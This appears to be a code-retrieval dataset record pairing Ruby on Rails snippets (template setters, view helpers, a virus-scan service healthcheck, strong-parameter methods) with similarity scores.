"def define_variables\n\t\tfname= \"#{self.class.name}.#{__method__}\"\n\t\tLOG.debug(fname) {\">>>>params=#{params.inspect}\"}\n\t\t@views = View.all\n\t\t@current_user= current_user\n\t\t@clipboard = session[:clipboard] ||= Clipboard.new\n\t\t#LOG.info(fname) {\"**** clipboard=#{@clipboard.inspect}\"}\n\t\t@theme = get_session_theme(session)\n\t\tLOG.debug(fname) {\"@theme=#{@theme}\"}\n\t\t@language = PlmServices.get_property(:LOCAL_DEFAULT)\n\t\tLOG.debug(fname) {\"@language=#{@language}\"}\n\t\t@urlbase = get_urlbase\n\t\tLOG.debug(fname) {\"@urlbase=#{@urlbase}\"}\n\t\t@themes = get_themes(@theme)\n\t\tLOG.debug(fname) {\"@themes=#{@themes}\"}\n\t\t@languages = get_languages\n\t\tLOG.debug(fname) {\"@languages=#{@languages}\"}\n\t\t@datas = get_datas_count\n\t\tLOG.debug(fname) {\"@datas=#{@datas}\"}\n\t\t###########TODO inutile @notification=PlmServices.get_property(:NOTIFICATION_DEFAULT)\n\t\t###########TODO inutile @time_zone=PlmServices.get_property(:TIME_ZONE_DEFAULT)\n\t\tWillPaginate::ViewHelpers.pagination_options[:previous_label] = t('label_previous')\n\t\tWillPaginate::ViewHelpers.pagination_options[:next_label] = t('label_next')\n\t\t# when false, only previous/next links are rendered (default: true)\n\t\tWillPaginate::ViewHelpers.pagination_options[:page_links ] = true\n\t\t# how many links are shown around the current page (default: 4)\n\t\tWillPaginate::ViewHelpers.pagination_options[:inner_window] = 10\n\t\t# when false, only previous/next links are rendered (default: true)\n\t\tWillPaginate::ViewHelpers.pagination_options[:page_links ] = true\n\t\t# how many links are shown around the current page (default: 4)\n\t\tWillPaginate::ViewHelpers.pagination_options[:inner_window] = 10\n\t\t# how many links are around the first and the last page (default: 1)\n\t\tWillPaginate::ViewHelpers.pagination_options[:outer_window] = 3\n\t\t# string separator for page HTML elements (default: single space)\n\t\tWillPaginate::ViewHelpers.pagination_options[:separator ] = ' - '\n\t\t@myparams = params\n\t\tDatafile.host=request.host\n\t\t@types_features=::Controller.get_types_by_features\n\t\tflash[:notice]=\"\"\n\t\tflash[:error]=\"\"\n\t\tLOG.debug(fname) {\"<<<<params=#{params.inspect}\"}\n\tend",
"def set_template\n @template = ::Template.find(params[:id])\n end",
"def set_attr_template\n @attr_template = AttrTemplate.find(params[:id])\n end",
"def set_cv_template\n @cv_template = current_user.cv_templates.find(params[:id])\n end",
"def set_template\n @template = Template.find(params[:id])\n end",
"def set_template\n @template = Template.find(params[:id])\n end",
"def set_template\n @template = Template.find(params[:id])\n end",
"def set_template\n @template = Template.find(params[:id])\n end",
"def set_template\n @template = Template.find(params[:id])\n end",
"def set_template\n @template = Template.find(params[:id])\n end",
"def set_template\n @template = Template.find(params[:id])\n end",
"def set_template\n @template = Template.find(params[:id])\n end",
"def set_service_template\n @service_template = policy_scope(ServiceTemplate).find(params[:id])\n end",
"def prepare_view\n @title = \"Hothackers\"\n end",
"def template(set_template)\n @template = set_template\n end",
"def set_page_template\n @page_template = ::PageTemplate.find(params[:id])\n end",
"def set_template_detail\n @template_detail = TemplateDetail.find(params[:id])\n end",
"def template; end",
"def template; end",
"def template; end",
"def template; end",
"def template; end",
"def template; end",
"def template; end",
"def controller=(_arg0); end",
"def controller=(_arg0); end",
"def controller=(_arg0); end",
"def set_node_template_vars(values)\n @Node_UserIdent = values[\"Node_UserIdent\"]\n @Node_Key_Dir = values[\"Key_Dir\"]\n return\nend",
"def set_template_parameter\n @template_parameter = TemplateParameter.find(params[:id])\n end",
"def fill_old(params={})\n params.each do |key,value|\n instance_variable_set(\"@#{key}\".to_sym,value)\n end\n self.body = (template).result binding\n self.body\n end",
"def show\n setup_variables(params)\n\n end",
"def show\n @template = CustomTemplate.find(params[:id])\n\t@baseline_characteristic_fields = BaselineCharacteristicField.where(:template_id => @template.id).all\n\t@quality_dimension_fields = QualityDimensionField.where(:template_id => @template.id).all\n\t@template_categorical_columns = OutcomeColumn.where(:template_id => @template.id, :outcome_type => \"Categorical\").all\n\t@template_continuous_columns = OutcomeColumn.where(:template_id => @template.id, :outcome_type => \"Continuous\").all\t\t\n \trender :layout => \"templates\"\t\n end",
"def set_template\n @template = Spree::Template.find(params[:id])\n # puts \"ddsfsfsdfsdf\",@template.inspect\n # puts \"ddsfsfsdfsdf\",@template.inspect\n # put\n end",
"def set_configuration_template\n @configuration_template = ConfigurationTemplate.find(params[:id])\n end",
"def rendered_templates; end",
"def set_template\n @template = Template.find(params[:id])\n end",
"def view_context\n super.tap do |view|\n (@_content_for || {}).each do |name,content|\n view.content_for name, content\n end\n end\n end",
"def template_from_params\n case params[:view]\n when 'scouts'\n 'scouts'\n else\n 'liiikes'\n end\n end",
"def set_item_template\n @item_template = ItemTemplate.find(params[:id])\n end",
"def template_map\n \n end",
"def set_content_template\n @content_template = ContentTemplate.find(params[:id])\n end",
"def set_user_template(opts)\n opts = check_params(opts,[:templates])\n super(opts)\n end",
"def set_info\n @page_header = 'Dashboard'\n @page_title = 'LeadAccount | Dashboard'\n @page_icon = 'dashboard'\n end",
"def set_template_field\n @template_field = TemplateField.find(params[:id])\n end",
"def controller(controller); end",
"def define_variables\n @favori = session[:favori] ||= Favori.new\n @theme = User.find_theme(session)\n @language = PlmServices.get_property(:LOCAL_DEFAULT)\n\t @urlbase = \"http://\"+request.env[\"HTTP_HOST\"]\n @themes = get_themes(@theme)\n @languages = get_languages\n ###########TODO inutile @notification=PlmServices.get_property(:NOTIFICATION_DEFAULT)\n ###########TODO inutile @time_zone=PlmServices.get_property(:TIME_ZONE_DEFAULT)\n # mise en forme d'une tache (workitem)\n @payload_partial = 'shared/ruote_forms'\n WillPaginate::ViewHelpers.pagination_options[:previous_label] = t('label_previous')\n WillPaginate::ViewHelpers.pagination_options[:next_label] = t('label_next')\n WillPaginate::ViewHelpers.pagination_options[:page_links ] = true # when false, only previous/next links are rendered (default: true)\n WillPaginate::ViewHelpers.pagination_options[:inner_window] = 10 # how many links are shown around the current page (default: 4)\n WillPaginate::ViewHelpers.pagination_options[:page_links ] = true # when false, only previous/next links are rendered (default: true)\n WillPaginate::ViewHelpers.pagination_options[:inner_window] = 10 # how many links are shown around the current page (default: 4)\n WillPaginate::ViewHelpers.pagination_options[:outer_window] = 3 # how many links are around the first and the last page (default: 1)\n WillPaginate::ViewHelpers.pagination_options[:separator ] = ' - ' # string separator for page HTML elements (default: single space)\n \t@myparams = params\n \t#puts \"fin de define_variables\"\n end",
"def set_item_template\n @item_template = ItemTemplate.find(params[:id])\n end",
"def show\n @layout_details = {\n controller: params[:controller],\n action: params[:action],\n styles: [],\n other_styles: [\"scaffolds\"],\n scripts: [],\n other_scripts: [\"scaffolds\"]\n }\n\tend",
"def context\n { controller: self, current_user: current_user }\n end",
"def config_templates\r\n ConfigTemplatesController.instance\r\n end",
"def view_context\n super.tap do |view|\n (@_content_for || {}).each do |name,content|\n view.content_for name, content\n end\n end\n end",
"def set_request_template\n @request_template = RequestTemplate.find(params[:id])\n end",
"def set_template_instance_variables(opts)\n opts.each {|k,v| self.instance_variable_set(\"@#{k}\", v) }\n end",
"def set_cf_template\n @cf_template = CfTemplate.find(params.require(:id))\n end",
"def template=( tmpl )\n\t\t\t@signature[:templates][@action_name] = tmpl\n\t\tend",
"def apply_template_before?; end",
"def set_template\n tid = Integer(params[:id]) rescue nil\n if tid\n @template = Template.find_by_id(tid)\n else\n @template = Template.find_by_name(params[:id])\n end\n respond_err \"template\", @templates, \"i18> Template #{params[:id]} not found\" unless @template\n end",
"def templates; end",
"def set_template_form_field\n @template_form_field = TemplateFormField.find(params[:id])\n end",
"def show\n render @current_template\n end",
"def controller_assigns_propagate_to_partials=(new_value)\n @controller_assigns_propagate_to_partials = (new_value ? :true : :false)\n end",
"def set_template\n begin\n @template = Template.find(params[:id])\n rescue Exception => e\n Services::Slog.exception e\n flash[:notice] = \"Sorry, <i class=\\\"icon-shuffle\\\"></i> couldn't find the template identified by <em>#{params[:id]}</em>.\"\n redirect_to :controller => \"templates\", :action => \"index\"\n end\n end",
"def user_template\n super\n end",
"def set_template\n @template = Template.find(params[:id])\n\n rescue ActiveRecord::RecordNotFound\n head 404\n end",
"def set_induction_template\n @induction_template = InductionTemplate.find(params[:id])\n end",
"def initialize_template(record)\n source = record.body || \"\"\n virtual_path = \"pages/#{I18n.locale}_#{record.name}_#{record.permalink}\"\n handler = ActionView::Template.registered_template_handler('erb')\n details = {\n :format => Mime['html'],\n :updated_at => record.updated_at,\n :virtual_path => virtual_path\n }\n ActionView::Template.new(source, \"DbPageTemplate - #{virtual_path}\", handler, details)\n end",
"def preferences\n @template = Template.find(params[:id])\n authorize Template\n\n editable = @template.latest? && @template.id.present? && @template.org_id = current_user.org.id\n page = editable ? 'preferences' : 'preferences_show'\n\n render page, locals: {\n partial_path: 'edit',\n template: @template,\n output_types: ResearchOutput.output_types,\n preferred_licenses: License.preferred.map { |license| [license.identifier, license.id] },\n licenses: License.selectable.map { |license| [license.identifier, license.id] },\n referrer: referrer\n }\n end",
"def controller=(value)\n Thread.current[:authlogic_controller] = value\n end",
"def controller=(value)\n Thread.current[:authlogic_controller] = value\n end",
"def template_page(site); end",
"def edit_template_url\r\n url = @cobrand.params.find_by_key 'store_news_and_events_template_url'\r\n @template_url = url.value if url\r\n end",
"def filter\n setup_instance_variables\n render 'index'\n end",
"def shareview\n # set default\n @template = 'slideshow_customv3'\n if @view_options.has_key?(params[:v].to_i) \n @template = 'slideshow_customv'+ params[:v] \n end\n # the main share view\n # pulls in the child view\n render 'shareshow' \n \n end",
"def set_model\n\n # check credentials and handle OpenStack Keystone\n # TODO: check expiration dates on Keystone tokens\n raise \"You are not authorized to use this endpoint!\" unless check_authn\n\n #\n model = get('/-/')\n @model = Occi::Model.new(model)\n\n @mixins = {\n :os_tpl => [],\n :resource_tpl => []\n }\n\n #\n get_os_templates.each do |os_tpl|\n unless os_tpl.nil? || os_tpl.type_identifier.nil?\n tid = os_tpl.type_identifier.strip\n @mixins[:os_tpl] << tid unless tid.empty?\n end\n end\n\n #\n get_resource_templates.each do |res_tpl|\n unless res_tpl.nil? || res_tpl.type_identifier.nil?\n tid = res_tpl.type_identifier.strip\n @mixins[:resource_tpl] << tid unless tid.empty?\n end\n end\n\n model\n end",
"def render(context)\n view = context.registers[:view]\n case @form_name\n when 'activate_customer_password'\n # {% form 'activate_customer_password' %}\n when 'create_customer'\n view.form_for(:customer, url: view.new_customer_registration_path) do |_f|\n safe_join[super]\n end\n when 'customer_address'\n # {% form 'customer_address', customer.new_address %}\n # {% form 'customer_address', address %}\n when 'customer_login'\n view.form_for(:customer, url: view.new_customer_session_path) do |_f|\n safe_join[super]\n end\n when 'guest_login'\n when 'new_comment'\n # {% form \"new_comment\", article %}\n when 'recover_customer_password'\n when 'reset_customer_password'\n end\n end",
"def set_layout\n #agent = request.env['HTTP_USER_AGENT']#request.user_agent #request.env['HTTP_USER_AGENT']\n #if agent.match(\"Android\")\n #if agent.match(\"Android\")\n # false\n #TOdo change the institution_id to 25607\n unless params[:format].eql?'json'\n if !current_user.institution_id.nil? and [25607, 51324].include? current_user.institution_id\n 'pearson_new'\n elsif !current_user.institution_id.nil? and [26717, 57296].include? current_user.institution_id\n 'schand'\n # elsif !current_user.institution_id.nil? and [44566].include? current_user.institution_id\n # 'abcd_top_menu'\n else\n 'new'#'abcd_top_menu'\n end\n else\n false\n end\n # unless params[:format].eql?'json'\n # if !current_user.institution_id.nil? and [25607, 51324].include? current_user.institution_id\n # 'pearson_new'\n # elsif !current_user.institution_id.nil? and [26717, 57296].include? current_user.institution_id\n # 'schand'\n # elsif !current_user.institution_id.nil? and [1020].include? current_user.institution_id\n # 'abcd_top_menu'\n # else\n # 'new'\n # end\n # else\n # false\n # end\n end",
"def view_context\n super.tap do |view|\n (@_content_for || {}).each do |name, content|\n view.content_for name, content\n end\n end\n end",
"def template_params\n params.require(:template).permit(:selected,:theme_color,:template_no,:name, :variant_display_type, :is_allowed_custom_theme)\n #params[:template]\n end"
] |
[
"0.68111324",
"0.6246606",
"0.59277403",
"0.5861301",
"0.580181",
"0.57943416",
"0.5767458",
"0.5760035",
"0.57574594",
"0.5720575",
"0.56712484",
"0.56525373",
"0.5649345",
"0.5640487",
"0.56082976",
"0.5584289",
"0.5584289",
"0.5572911",
"0.55645424",
"0.5550162",
"0.55421954",
"0.5533531",
"0.5526344",
"0.551111",
"0.55078405",
"0.54880035",
"0.54849786",
"0.5482312",
"0.5482312",
"0.5482312",
"0.5482312",
"0.5482312",
"0.5482312",
"0.5482312",
"0.5482312",
"0.54685587",
"0.54604673",
"0.54587525",
"0.5451885",
"0.5450206",
"0.5446055",
"0.5446055",
"0.5446055",
"0.5446055",
"0.5446055",
"0.5446055",
"0.5446055",
"0.5441824",
"0.5441824",
"0.5441824",
"0.54396886",
"0.5433782",
"0.5429063",
"0.5428533",
"0.5405596",
"0.54012257",
"0.5388676",
"0.5384968",
"0.5382935",
"0.5376883",
"0.53756166",
"0.5372899",
"0.53594315",
"0.5348599",
"0.5348269",
"0.5345885",
"0.5336911",
"0.5334694",
"0.53266054",
"0.5326367",
"0.53252673",
"0.531811",
"0.53118986",
"0.5308522",
"0.53026855",
"0.5299048",
"0.5298912",
"0.5296698",
"0.52868253",
"0.52798134",
"0.52784413",
"0.52774316",
"0.5268267",
"0.5255924",
"0.5253243",
"0.5249084",
"0.5247679",
"0.5247675",
"0.5239982",
"0.5229131",
"0.5227523",
"0.5227523",
"0.52253366",
"0.5210519",
"0.52099264",
"0.52074194",
"0.5204192",
"0.520231",
"0.51976436",
"0.51931185",
"0.51924694"
] |
0.0
|
-1
|
Can't see a good way around this. rubocop:disable Metrics/CyclomaticComplexity
|
def healthchecks
write_test = Add.write_test
detect_infected = Scan.healthcheck_infected
clean_file = Scan.healthcheck_clean
service_status = if write_test && detect_infected && clean_file
'ok'
else
'failed'
end
{
service_status: service_status,
write_test: write_test ? 'ok' : 'failed',
detected_infected_file: detect_infected ? 'ok' : 'failed',
passed_clean_file: clean_file ? 'ok' : 'failed'
}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def private; end",
"def probers; end",
"def used?; end",
"def internship_passed; end",
"def schubert; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def anchored; end",
"def internal?; end",
"def missing?; end",
"def implementation; end",
"def implementation; end",
"def offences_by; end",
"def missed?; end",
"def ignores; end",
"def internal; end",
"def missing; end",
"def prepareForReuse; end",
"def original_result; end",
"def isolated; end",
"def isolated; end",
"def macro; raise NotImplementedError; end",
"def macro; raise NotImplementedError; end",
"def macro; raise NotImplementedError; end",
"def custom; end",
"def custom; end",
"def offences_by=(_arg0); end",
"def refutal()\n end",
"def fallbacks=(_arg0); end",
"def wrapped_causes; end",
"def intensifier; end",
"def apply; nil; end",
"def strategy; end",
"def safe_by_default; end",
"def fallbacks; end",
"def fallbacks; end",
"def awaken!\n\t\traise 'Not implemented'\n\tend",
"def final; end",
"def missing?; false; end",
"def same; end",
"def isolated?; end",
"def isolated?; end",
"def usable?; end",
"def ignore; end",
"def big_bad; end",
"def suivre; end",
"def checks; end",
"def wrapper; end",
"def final?; end",
"def executor; end",
"def executor; end",
"def executor; end",
"def celebration; end",
"def too_many_hops?; end",
"def continued_exception; end",
"def transient?; end",
"def extra; end",
"def private_method\n end",
"def processor; end",
"def apply\n end",
"def apply\n\t\t\n\tend",
"def apply\n\t\t\n\tend",
"def escaper=(_); end",
"def pausable; end",
"def identify; end",
"def semact?; false; end",
"def method_731(base); end",
"def miss_reason; end",
"def offenses_to_check=(_arg0); end",
"def original; end",
"def used\n raise NotImplementedError\n end",
"def spec; end",
"def spec; end",
"def fallback_data; end",
"def fallback_data; end",
"def result_of_setting; end",
"def caveats; nil end",
"def caveats; nil end",
"def returns; end",
"def overload; end",
"def common\n \n end",
"def unquiesce \n raise NotImplementedError.new\n end",
"def generate_comprehensive\n\n end",
"def frozen?; end",
"def implemented_in; end",
"def local?; end",
"def culprit\n @culprit\n end",
"def temporary?; self.temporary; end",
"def repair!\n raise NotImplementedError\n end",
"def under_construction\n end",
"def safe; end",
"def weber; end",
"def required_positionals; end",
"def operations; end",
"def operations; end",
"def called_from; end",
"def called_from; end",
"def sharded?; true; end",
"def sharded?; false; end"
] |
[
"0.693389",
"0.5654701",
"0.5612617",
"0.54977137",
"0.5495642",
"0.5489771",
"0.5489771",
"0.5489771",
"0.5489771",
"0.5483589",
"0.54794693",
"0.5475489",
"0.5468242",
"0.5468242",
"0.54595697",
"0.5430236",
"0.5410674",
"0.5377488",
"0.536832",
"0.5365179",
"0.5345739",
"0.5323801",
"0.5323801",
"0.5317988",
"0.5317988",
"0.5317988",
"0.528312",
"0.528312",
"0.5282755",
"0.5271929",
"0.5246314",
"0.5238577",
"0.52341634",
"0.5226146",
"0.51997817",
"0.51996267",
"0.51747257",
"0.51747257",
"0.5173733",
"0.51690143",
"0.51673585",
"0.5161287",
"0.51553434",
"0.51553434",
"0.5153519",
"0.5146454",
"0.5137135",
"0.51270366",
"0.5119963",
"0.50811356",
"0.5080302",
"0.5068679",
"0.5068679",
"0.5068679",
"0.5066136",
"0.5065748",
"0.5062191",
"0.50508845",
"0.5015985",
"0.50125015",
"0.5001444",
"0.49989074",
"0.4996",
"0.4996",
"0.49957246",
"0.49934298",
"0.4985855",
"0.49772185",
"0.49756575",
"0.4963082",
"0.49598664",
"0.495777",
"0.49569005",
"0.49497542",
"0.49497542",
"0.49453673",
"0.49453673",
"0.49426264",
"0.4942073",
"0.4942073",
"0.49369472",
"0.493122",
"0.49268577",
"0.4926807",
"0.49246937",
"0.49210504",
"0.49149808",
"0.49067226",
"0.49050975",
"0.49038166",
"0.48972285",
"0.48928303",
"0.48924175",
"0.48919487",
"0.48877764",
"0.48811263",
"0.48811263",
"0.48774937",
"0.48774937",
"0.48723525",
"0.48658243"
] |
0.0
|
-1
|
Using a private method to encapsulate the permissible parameters is just a good pattern since you'll be able to reuse the same permit list between create and update. Also, you can specialize this method with peruser checking of permissible attributes.
|
def course_params
params.require(:course).permit(:name, :description)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def permitted_params\n policy(resource || resource_class.new).send(\"permitted_#{action_name}_attributes\")\n end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def permitted_create_params\n fail NotImplementedError\n end",
"def form_params\n # Remove role and privilege ids as these are managed by the app not by\n # the active record associations\n params[:user].delete :role_ids\n params[:user].delete :privilege_ids\n params.require(:user).permit(user_allowable_params)\n end",
"def permitted_params\n res = attribute_names.map(&:to_sym) - %i[disabled user_id created_at updated_at tracker_id tracker_history_id\n admin_id]\n refine_permitted_params res\n end",
"def strengthen_params!(method_name)\n permitting_model_name = self.class.instance_variable_defined?(:@permitting_model_name) && self.class.instance_variable_get(:@permitting_model_name)\n target_model_name = (permitting_model_name || self.class.name.sub(/.+::/, '').sub(/Controller$/, '')).singularize.underscore.tr('/', '_').to_sym\n permitted_attributes = self.class.instance_variable_defined?(:@permitted_attributes) && self.class.instance_variable_get(:@permitted_attributes)\n\n method_parameters = method(method_name).parameters\n method_parameters.each do |type, key|\n trimmed_key = key.to_s.sub(/_params\\z/, '').to_sym\n if (trimmed_key == target_model_name) && permitted_attributes\n params.require(trimmed_key) if %i[req keyreq].include?(type)\n params[trimmed_key] = params[trimmed_key].try :permit, *permitted_attributes if params.key? trimmed_key\n end\n end\n end",
"def permit(*permitted)\n hardened_params = params.dup\n\n hardened_params.keep_if { |k, _v| permitted.flatten.include?(k.to_sym) }\n\n hardened_params.symbolize_keys\n end",
"def permitted_params\n @implementation_class ||= implementation_class\n\n res = @implementation_class.permitted_params\n @implementation_class.refine_permitted_params res\n end",
"def permitters\n @_parametrizr_permitters || {}\n end",
"def permitted_update_params\n fail NotImplementedError\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def permitted?; end",
"def permitted_params\n if is_singleton?\n singleton_permitted_params\n else\n params.require(:data).permit(allowed_resource_params.to_a)\n end\n end",
"def permit(type,options={})\n raise NameError.new(\"duplicate ability definition\") if @ability.key? type\n ability_object = GraphQL::Authorization::AbilityType.new(type,nil,{})\n if options.key?(:except) && options.key?(:only)\n raise ArgumentError.new(\"you cannot specify white list and black list\")\n end\n if options[:except]\n ability_object.access(type.fields.keys.map(&:to_sym) - options[:except])\n elsif options[:only]\n ability_object.access(options[:only])\n end\n ability_object.execute options[:execute]\n if block_given?\n #note Proc.new creates a proc with the block given to the method\n ability_object.instance_eval(&Proc.new)\n end\n @ability[type] = ability_object\n end",
"def set_permit\n @vehiclepermit = Permit.find(params[:id])\n authorize @vehiclepermit\n end",
"def permit_attributes\n params.require(resource_as_param_key).permit(*permitted_attributes)\n end",
"def set_permit\n @permit = Permit.find(params[:id])\n end",
"def permitted_params\n \t@permitted_params ||= PermittedParams.new(params, current_user)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def request_permitted?(item)\n true\n end",
"def permitted\n {attrib_name => spec.permitted}\n end",
"def set_permit\n @permit = Permit.find(params[:id])\n end",
"def create\n\n vehicle = Vehicle.find_by(license_number: permit_params[:vehicle_attributes][:license_number])\n if current_user.faculty?\n @vehiclepermit = current_user.vehiclepermit.build(permit_params.merge(date_entered: Date.today, \n entered_by: current_user.faculty.first_name + \" \" + current_user.faculty.last_name))\n @vehiclepermit.update(vehicle: vehicle)\n elsif current_user.student?\n @vehiclepermit = current_user.vehiclepermit.build(permit_params.merge(date_entered: Date.today,\n entered_by: current_user.student.first_name + \" \" + current_user.student.last_name))\n @vehiclepermit.update(vehicle: vehicle)\n end\n authorize @permit\n\n respond_to do |format|\n if @vehiclepermit.save\n format.html { redirect_to @vehiclepermit, notice: 'Permit was successfully created.' }\n format.json { render :show, status: :created, location: @vehiclepermit }\n else\n format.html { render :new }\n format.json { render json: @vehiclepermit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def analise_privacidade_params\n #params.require(:analise_privacidade).permit(:rede_social, :url_rede_social, :descricao_analise, tipo_coumunicacoes_attributes: [:id, :tipo_comunicacao, :observacao])\n \n \n params.require(:analise_privacidade).permit!\n \n \n \n \n \n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def user_params\n params.require(:user).permit(policy(@user || User).permitted_attributes)\n end",
"def user_params\n params.require(:user).permit(policy(@user || User).permitted_attributes)\n end",
"def formulary_params\n allow = [:responsable_llenado,:cod01,:cod02,:ape01,:ape04,:ape07,:ape02,:ape05,:ape03,:ape06,:api01,:api04,:api02,:ssb01,:api03,:cao01,:cao04,:cao07,:cao10,:tit01,:cao02,:cao05,:cao08,:cao11,:cao03,:cao06,:cao09,:cao12,:uni01,:uni02,:uni03,:ben01,:ben02,:per01,:per02,:user_id]\n params.require(:formulary).permit(allow)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end",
"def permitted_params\n @permitted_params ||= PermittedParams.new(params, current_user)\n end",
"def permitted_params\n\n \n if action_name.to_s == \"update\" && !current_signed_in_resource.is_admin?\n\n \n params.permit({cart_item: [:discount_code,:quantity]},:id)\n\n elsif action_name.to_s == \"create_multiple\"\n params.permit({discount: [:id, {:product_ids => []}]})\n else\n\n params.permit({cart_item: [:product_id,:discount_code,:quantity]},:id)\n\n end\n\n\n end",
"def permitted_params(action, kind=nil)\n params.require(model_name).permit!\n end",
"def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def form_params\n params.require(:funding_request).permit(FundingRequest.allowable_params)\n end",
"def expected_permitted_parameter_names; end",
"def permission_policy_params\n params.require(:permission_policy).permit(:name, :io1, :io2, :io3, :io4)\n end",
"def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end",
"def access_control_params\n params.require(:access_control).permit(:uuid, :role_id, :ability_to_create_stream, :ability_to_create_discussion, :ability_to_comment, :ability_to_create_question, :ability_to_create_answer, :ability_to_administrate)\n end",
"def params_not_permitted\n logger.warn('exception: params not permitted')\n render plain: \"403 ForbiddEn\", status: 403\n end",
"def borrowership_params\n params\n .require(:borrowership)\n .permit(*policy(@borrowership || Borrowership.new).permitted_attributes)\n end",
"def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end",
"def allowed_attributes=(_arg0); end",
"def allowed_attributes=(_arg0); end",
"def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end",
"def unpermitted_parameters\n fail 'Define me!'\n end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def user_params\n params.require(:user).permit(*policy(@user || User).permitted_attributes)\n end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def user_params\n params.require(:user).permit(current_ability.permitted_attributes(:manage, @user))\n end",
"def vip_privilege_params\n params[:vip_privilege].permit!\n end",
"def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def is_permitted_for?( user )\n ( user.id == self.user.id ) or ( user.privileged? )\n end",
"def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend",
"def user_params\n params.permit(User::UPDATABLE_ATTRIBUTES)\n end",
"def permitted_params_from_policy(object_or_class, key)\n _params = permitted_params[key]\n _attributes = policy(object_or_class).permitted_attributes\n ::ActionController::Parameters.new(_params).permit(*_attributes)\n end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def users_params\n\t\tparams.require(:user).permit(User::PERMIT_ATTRIBUTES)\n\tend",
"def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end",
"def tam_policy_params\n params.require(:tam_policy).permit(TamPolicy.allowable_params)\n end",
"def permit(*keys)\n select { |key, _| keys.include?(key) }\n end",
"def post_card_params\n params[:post_card].permit!\n end",
"def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end",
"def create_permitted?\n acting_user.administrator?\n end",
"def create_permitted?\n acting_user.administrator?\n end",
"def create_permitted?\n acting_user.administrator?\n end",
"def create_permitted?\n acting_user.administrator?\n end",
"def privilege_params\n params.require(:privilege).permit(:qDrive, :addSong, :editSong, :deleteSong, :grantPermission, :addUser, :editUser, :deleteUser)\n end",
"def permit_params_on_create *keys\n filter_strong_params :permit, [:create], keys\n end",
